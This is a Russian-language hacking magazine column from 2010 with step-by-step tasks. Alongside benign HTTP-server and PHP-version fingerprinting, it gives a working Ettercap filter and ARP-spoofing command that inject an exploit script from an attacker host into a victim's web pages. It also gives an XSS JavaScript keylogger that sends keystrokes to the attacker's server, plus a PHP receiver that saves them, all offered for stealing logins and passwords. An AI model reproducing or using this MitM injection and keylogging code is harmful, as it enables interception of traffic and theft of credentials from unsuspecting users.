Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #139, ИЮЛЬ 2010 г.

Easy-Hack

Задача: определить версию http-сервера

Решение

В недавнем номере ][ была хорошая статья, в которой описана тема сокрытия/изменения баннеров для различных сервисов, будь то FTP- или HTTP-сервер. Но, чтобы ты был всесторонне вооружен, поведаю тебе о более продвинутых методах детекта ПО. В этом номере о HTTP-серверах.

Конечно, строчка «Server» в заголовке — это хорошо. Но на нее слишком легко повлиять. Что же у нас есть еще? Достаточно многое. Суть в том, что разные веб-серверы по-разному поступают в различных ситуациях.

То есть мы посылаем различные запросы серверам, а они по-разному отвечают. В основном это связано с неопределенностями RFC и/или отклонением от них. Поэтому можно составить определенные отпечатки (fingerprint) каждого HTTP-сервера, иногда до конкретной версии. Есть и пассивные методы, и активные. Активные — более точные, но требуют посыла (не)стандартных запросов, которые можно обнаружить. Вот некоторые способы фингерпринта:

  • Порядок полей в ответе HTTP-сервера;
  • Различные ответы сервера на запросы вида:
    • DELETE / HTTP/1.0 — «запрещенный» метод;
    • GET / HTTP/3.0 — «новый» версия протокола;
    • GET / LALA/1.0 — нестандартный протокол;
    • HEAD / — некорректный запрос;
    • И так далее.
  • Различия в порядке слов, регистре в различных ответах веб-сервера;
  • Различные тексты ошибочных (404, например) страниц;
  • Специфичные для веб-сервера поля в ответе;
  • Реакция сервера в зависимости от длины запроса;
  • И прочее.

То есть, на первый взгляд, способов очень много. Таким образом, мы можем достаточно точно выделить отпечаток каждого веб-сервера.

Общая идея, я думаю, понятна. На практике же есть множество тулзов. Например, httprint под win/nix и входящий в BT 4 (net-square.com/httprint/), опенсорсный httprecon под win (computec.ch/projekte/httprecon/. Поговаривают, что одна из лучших :). Обе приложены на диске.

Разница между ними, в основном, в количестве и качестве используемых тестов и логике, по которой они определяют важность «прохождения» веб-сервером какого-то теста. Ведь понятно, что точность определения версии сервера по отпечаткам имеет вероятностный характер и во многом основывается на методе выставления оценок за прохождение каждого из тестов, проводимых программой.

Кстати, даже с учетом глубокого изменения каких-то характеристик вебсервера, определить версию можно. Например, есть net-square.com/httprint/httprint_paper.html для модуля ServerMask к IIS. Есть также и онлайн-фингерпринтер веб-серверов (и не только) — это www.netcraft.com.

Дальнейшие примеры приводить не буду — проги слишком просты. Но для более четкого понимания (лучше один раз потрогать, чем 100 раз увидеть :)) советую поиграться с любой из этих программ и какимнибудь сниффером. Серверы можно найти на shodanhq.com. Теорию на простых примерах можно почерпнуть тут — ujeni.murkyroc.com/hmap/. База ответов на различные запросы — computec.ch/projekte/httprecon/?s=database.

Следует также упомянуть, что HTTP-фингерпринт очень нежелательно проводить через HTTP-прокси, так как последний может сильно изменить ответ от сервера.

Задача: определить использование php и его версию на удаленном сервере

Решение

Задача нетрудная, но в некоторых случаях бывает необходима. К примеру, когда на серверах часто юзают mod_rewrite (если не в теме — очень лаконично описано на Википедии в статье «ЧПУ_Интернет»). Зачем версия? К примеру, сам PHP имеет внутренние уязвимости, которыми можно воспользоваться. В этом можно убедиться, порыскав на exploit-db.com. Можно посмотреть заголовок от веб-сервера, где наряду с его баннером может быть и инфа о PHP. Но есть другой забавный способ. А именно — «пасхальные яйца» от создателей PHP. Причем они применимы к любым PHP-скриптам, даже с ошибками в стиле Fatal Error. Пишем любой из пунктов к любому скрипту:

скрипт.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
скрипт.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
скрипт.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
скрипт.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
скрипт.php?=SUHO8567F54-D428-14d2-A769-00DA302A5F18

Первый — забавная картинка, второй — лого PHP, потом лого ZEND, список авторов, лого от Suhosin (добавка к PHP). Причем отображение первого пункта сильно меняется в зависимости от версии PHP. Соответствие и описание «почему оно так» можно найти на www.0php.com/php_easter_egg.php. Жаль, что отключается эта фича тем же, чем и добавление в ответ сервера заголовка о PHP, а именно — установкой «expose_php=off» в php.ini.

Задача: подсунуть жертве свой сплойт, используя фильтры ETTERCAP

Решение

Продолжу тему атак обычных юзеров. Ситуация та же — «доступен» только браузер пользователя, а нам требуется «заставить» перейти его на нашу страницу с эксплойтом. Представим, что мы находимся с ним в одной подсети, так как нам снова понадобится возможность доступа к трафику.

Но на сей раз воспользуемся такой хорошей вещью как «Ettercap NG». Что приятно — есть и GUI’шный интерфейс, и консольная версия. Последняя версия — 0.7.3. На сайте ettercap.sourceforge.net есть исходники как под разные виды nix’ов, так и под винду. В общем, это сниффер, наделенный важными и нужными для нас возможностями. В их число входят:

  • Вынимание и, если надо, расшифровывание логинов и паролей к большому числу протоколов;
  • Модификация передаваемых в обоих направлениях пакетов;
  • Проведение Man in the Middle атак (MitM);
  • Пассивный анализ трафика с фингерпринтом ОС, сервисов хостов.

К тому же, Ettercap расширяет свой функционал за счет всевозможных плагинов.

Но для данной задачи нам потребуются его возможности по поиску и модификации данных TCP/IP-пакетов на «живом» трафике. Общая идея такова: во-первых, получаем доступ к трафику; во-вторых, устанавливаем фильтр для Ettercap’а на модификацию HTTP-ответов от серверов, куда жертва заходит. Модификация будет заключаться в добавлении либо сплойта, либо ссылки на сплойт.

Для точности буду рассказывать о консольной версии Ettercap, входящей в BackTrack 4. Приступим. Создаем текстовый файлик «http_filter.txt» и пишем в него следующий код — фильтр на HTTP-трафик.

//Если протокол – TCP, удаленный порт – 80
if (ip.proto == TCP && tcp.dst == 80) {
//Ищем строку
if (search(DATA.data, "Accept-Encoding")) {
//Заменяем на мусор
replace("Accept-Encoding", "Blabla-Blahblah");
//Мессага для нас
msg("Accept-Encoding field has been changed\n");
}
}
//Если протокол – TCP, исходящий порт – 80
if (ip.proto == TCP && tcp.src == 80) {
replace("</body>", " <script type=\"text/javascript\"
src=\"http://evil.com/sploit.js\"></script> \" ");
// Меняем ответ сервера – HTML-страницу, подставляя
какой-то свой сплойт
replace("</html >",
" <img src=\"http://evil.com/evil.gif\"></img>");
msg("Success!\n"); //Мессага для нас
}

Для создания фильтров к Ettercap существует примитивный «язык», которым мы и воспользовались. Здесь мы создали два «правила».

Первое применяется к пакетам, отправленным на 80 порт по протоколу TCP. Обычно это запросы браузера на открытие той или иной страницы веб-серверу. В них ищем строчку «Accept-Encoding» (поле стандартного HTTP-заголовка, посылаемого браузером) и меняем ее на любой другой текст того же размера (это важно). Требуется это, потому что обычно в «Accept-Encoding» указывается, что ответы от веб-сервера можно сжимать. Но по сжатым данным мы не сможем провести необходимое нам изменение HTML-страниц. Поэтому мы меняем это поле на что-нибудь другое. Сервер же при разборе пропустит это кривое поле и ответит нам в несжатом виде. Второе правило применяется уже к принимаемым данным. Ситуация похожая. Делаем выборку пакетов от веб-сервера (протокол TCP, исходящий порт — 80). И меняем строчки «</body>», «</html >» на либо яваскриптовский, либо рисунок-сплойт, не суть важно.

Почему именно эти теги будем менять? У них есть один плюс — они присутствуют почти на всех HTML-страничках в единичном числе, что повысит шансы на успешную эксплуатацию уязвимости при малом количестве запросов к нашему серваку. Но все зависит от ситуации, браузера жертвы и т.д. Еще пара моментов: функция «replace» регистрозависима, то есть можно повторить искомые строчки в разных регистрах, а функция «msg» выводит нам сообщения в логах, чтобы мы знали, когда правило задействовалось.
Далее требуется переварить наш текстовый файл с фильтром в удобоваримый для Ettercap’a вид. Пишем в консоли:

etterfilter http_filter.txt -o http_filter.ef

Где http_filter.txt — наш файл с фильтром, а в «-o http_filter.ef» указываем имя будущего Еttercap-фильтра (необязательная опция). Далее запускаем сам Ettercap.

ettercap -T -F http_filter.ef -M ARP /192.168.0.1/

Где опция «-T» указывает на то, что мы запускаем текстовую версию Ettercap; «-F http_filter.ef» — подключаем полученный от Etterfilter фильтр; «-M ARP /192.168.0.1/» — указываем Ettercap, что требуется запустить MitM атаку, а именно — arp-спуфинг (в Ettercap входит еще несколько классических атак). 192.168.0.1– IP шлюза. Кроме встроенности, бонусы использования встроенного arp-спуффинга еще и в том, что после своей работы сниффер восстанавливает ARP таблицы, посылая правильные значения, к тому же не надо заморачиваться с редиректами. В итоге Ettercap будет фильтровать трафик от нашей жертвы, добавляя в конец каждой HTML’ки наш сплойт. Как понимаешь, Ettercap — тулза крутая. Особенно с возможностями фильтров, а они широки. Это и изменение, декодирование пакетов, и использование регекспов, и запуск команд... Основную инфу можно почерпнуть из man’ов и прилагаемых к Ettercap’у примеров. Кстати, если будешь разбираться с этой тулзой, то помни, что она не сниффит трафик, посылаемый машиной, на которой она установлена.

Задача: облегчить сбор информации

Решение

В своих околохакерских или житейских делах мы часто сталкиваемся с необходимостью поиска информации. Будь то сбор информации о каком-то сервере или поиски какого-то эксплойта (или поиски любви :)). Я уверен, что каждый из нас имеет кучку закладок к основным ресурсам для этого. Также есть всевозможные плагины для ускорения этого дела.

Но в обоих случаях ты привязываешься к определенному компьютеру/ софту (особенно когда пользуешься разными браузерами). Есть, конечно, решения этой трудности, но... Хочу поделиться находкой, которая чрезвычайно порадовала меня — сервис на http://yehg.net/q. По сути, это агрегатор кучи всевозможных поисковых (и не только) систем.

Ввел что-то в строку поиска и снизу увидел выборку с гугла, один клик — и уже с вики. Но это не было бы настолько интересно, если бы не две вещи. Во-первых, yehg — это хакерская группа, потому и сервис заточен под задачи, связанные с информационной безопасностью. Поэтому тут и поисковики по сплойтам, уязвимостям, и всяческие whois’ы да портсканеры, кодеры/декодеры и т.д. Кстати, очень советую просмотреть весь набор сайтов. Подборка действительно хороша, на все случаи жизни, как говорится. Можно что-то для себя выделить, запомнить.

Второй же плюс заключается в том, что это — общедоступный «веб-агрегатор» поисковиков (gosu.pl/wsa/). Он очень простой, так как использует только JavaScript и фреймы. То есть может работать даже локально и не привязан к браузеру.

Поэтому его можно быстро и легко настроить под себя. Для того, чтобы добавить какой-то поисковик, требуется всего лишь вставить строчку в HTML’ку агрегатора. Например, добавим поиск по сайту журнала. Ищем и добавляем:

CATS["General"] = {
…
"xakep": "http://www.xakep.ru/local/search/search.
asp?text=%s",
…
};

Где %s — место, куда будет вставляться та строка, которую ты ищешь. В итоге в категории «General» у нас появится пункт «xakep». Все просто. Причем можно ввести дополнительный текст или параметры к запросу. Как это сделано, например, в поиске сплойтов по гуглу, где добавляется к введенному запросу «(vulnerability or vulnerabilities) OR (exploits or security holes)», и в итоге нам надо вводить только название ПО.

Версия агрегатора, используемая YEHG, явно более продвинутая, чем от разработчика. Там есть и многострочное окошко для запроса, и возможность редактирования итогового запроса. К тому же по основным сайтам поиск уже организован. Хотя она и с «мусором» (реферы на группу), удалить его не составит труда. В общем, на диске приложена именно она.

Задача: украсть логин, пароль посредством xss и кейлоггера

Решение

XSS бывают разные: активные, пассивные. Первые, конечно, более опасны, так как остаются на серваке, но и со вторыми можно кое-что сваять. Что очень хорошо для нас — XSS-уязвимости чрезвычайно распространены. Это связано и со сложностями защиты от них, но что важнее — с общим отношением к ним, даже у специалистов в области ИБ. Ведь многие не считают XSS за юзабельную уязвимость! Давай посмотрим. Как насчет кейлоггера через XSS? Примитивный кейлоггер состоит из двух компонентов: самого JavaScript’а, отвечающего за перехват нажатий и отправку данных о них, ну и сервера, который будет принимать и сохранять данные. Потому нам требуется левый (можно бесплатный) сервак с поддержкой, например, PHP. JavaScript (код с insanesecurity.info):

var keys=''; //определяем переменную
document.onkeypress = function(e) {
//перехватываем нажатия
get = window.event?event:e; //перехватываем событие
key = get.keyCode?get.keyCode:get.charCode;
//получение кода нажатой кнопки
key = String.fromCharCode(key); //перевод кода в норм вид
keys+=key; //кучкуем нажатия в строчку
}
window.setInterval(function(){
//отправляем данные через временные промежутки
new Image().src = 'http://твой_хост:80/keylogger.
php?keys='+keys; //передаем данные скрипту
keys = ''; //сбрасываем переменную
}, 1000);

Логика такова: скрипт перехватывает нажатия клавиш и сохраняет их в переменную, а через определенные промежутки времени коннектится к нашему PHP-скрипту, передавая полученную переменную в запросе. Далее заливаем на сервер PHP-скрипт:

<?php
$log= $_SERVER["QUERY_STRING"]."\r\n";
//получаем данные от js
$fp=fopen("log.txt", "a"); //создаем файл на хостинге
fputs($fp, $log); //заполняем его
fclose($fp);
?>

В зависимости от ситуации, пихаем либо сам код, либо ссылку на него через XSS на сервер или пользователю. Теперь все нажатия клавиш пользователя на странице с нашим яваскриптом будут сохранены на нашем сервере.

Но это был скорее показательный пример. Качественный яваскрипт-кейлоггер ты можешь взять с sourceforge.net/projects/jskeylogger/ (либо на диске). Версия 1.4. Суть здесь та же — скрипт и сервер. Но реализация гораздо лучше: при сохранении лога отмечается поле, в которое вводились данные и уникальный ID ввода данных, так что с парсингом нет вообще никаких проблем. Несколько странно, что сервер здесь реализован в виде exe’шника на питоне. Но перенос на PHP, например, проблем вызвать не должен. В архиве также прилагается пара примеров, все очень показательно. Один существенный минус данного логгера — нет поддержки русского языка. Но ее, я думаю, нетрудно будет прикрутить. Использование кейлоггера не всегда возможно и не всегда оправдано. Но в определенных случаях мы можем получить большие бонусы, чем, например, от классической кражи кукисов, так как данные мы получаем неизмененные, незашифрованные. Так что стоить помнить о такой штуке.

Содержание